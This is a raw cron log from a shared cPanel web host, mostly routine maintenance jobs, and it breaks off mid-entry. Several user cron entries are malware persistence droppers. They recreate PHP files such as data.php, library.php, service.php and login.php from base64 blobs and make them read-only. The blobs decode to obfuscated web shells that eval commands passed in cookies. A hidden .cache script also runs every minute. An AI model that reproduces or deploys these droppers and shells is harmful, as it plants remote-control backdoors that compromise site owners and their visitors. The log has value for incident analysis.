Mar  1 21:38:01 medusa CROND[31006]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:38:01 medusa CROND[31009]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:38:01 medusa CROND[31008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:38:01 medusa CROND[31012]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:38:01 medusa CROND[31015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:38:01 medusa CROND[31018]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:38:01 medusa CROND[31024]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:38:01 medusa CROND[31023]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:39:02 medusa CROND[18404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:39:02 medusa CROND[18559]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:39:02 medusa CROND[18677]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:39:02 medusa CROND[18682]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:39:02 medusa CROND[18681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:39:02 medusa CROND[18684]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:39:02 medusa CROND[18685]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:39:02 medusa CROND[18686]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:39:02 medusa CROND[18691]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:39:02 medusa CROND[18692]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:39:02 medusa CROND[18694]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:39:02 medusa CROND[18696]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:39:02 medusa CROND[18700]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:39:02 medusa CROND[18687]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 21:40:01 medusa CROND[5010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:40:01 medusa CROND[5064]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:40:01 medusa CROND[5122]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:40:02 medusa CROND[5223]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:40:02 medusa CROND[5407]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:40:02 medusa CROND[5409]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:40:02 medusa CROND[5408]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:40:02 medusa CROND[5411]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 21:40:02 medusa CROND[5412]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 21:40:02 medusa CROND[5415]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:40:02 medusa CROND[5416]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 21:40:02 medusa CROND[5417]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:40:02 medusa CROND[5418]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:40:02 medusa CROND[5413]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:40:02 medusa CROND[5419]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:40:02 medusa CROND[5427]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 21:40:02 medusa CROND[5428]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:40:02 medusa CROND[5432]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:40:02 medusa CROND[5435]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:40:02 medusa CROND[5438]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 